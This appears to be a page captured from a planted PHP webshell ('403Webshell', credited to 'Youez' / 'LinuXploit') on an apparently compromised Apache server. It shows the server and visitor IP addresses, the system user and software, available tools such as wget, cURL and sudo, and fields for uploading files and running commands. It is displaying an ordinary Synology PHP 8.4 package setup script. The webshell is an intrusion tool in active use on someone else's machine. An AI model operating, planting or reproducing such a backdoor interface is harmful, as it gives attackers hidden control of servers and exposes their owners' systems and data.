403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/PHP8.4/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/PHP8.4/scripts/common
#!/bin/bash
# Copyright (C) 2000-2025 Synology Inc. All rights reserved.

PHP_VER=8.4
PHP_VER_NUM=84
PHP_ID=13


ENVIRONMENT_SETUP()
{
	local CONFDIR="/usr/local/etc/php${PHP_VER_NUM}"
	local CLICONFDIR="${CONFDIR}/cli"

	if [ ! -d "${CLICONFDIR}/conf.d" ]; then
		/usr/bin/mkdir -pm755 "${CLICONFDIR}/conf.d"
	fi

	for i in php.ini conf.d/extension.ini; do
		/usr/bin/rm -f "$CLICONFDIR/$i"
		/usr/bin/cp "$SYNOPKG_PKGDEST/$CLICONFDIR/$i" "$CLICONFDIR/$i"
	done

	if [ -L "${CONFDIR}/freetds" ]; then
		/usr/bin/rm "${CONFDIR}/freetds"
	fi

	if [ ! -d "${CONFDIR}/freetds" ]; then
		/usr/bin/mkdir -pm755 "${CONFDIR}/freetds"
		/usr/bin/cp "${SYNOPKG_PKGDEST}/${CONFDIR}"/freetds/*.conf "${CONFDIR}/freetds/"
	fi

	if [ ! -d "/usr/local/lib/php${PHP_VER_NUM}/modules" ]; then
		/usr/bin/mkdir -pm755 "/usr/local/lib/php${PHP_VER_NUM}/modules"
	fi

	/var/packages/PHP${PHP_VER}/target/misc/php${PHP_VER_NUM}_timezone_change.sh --post
}

Youez - 2016 - github.com/yon3zu
LinuXploit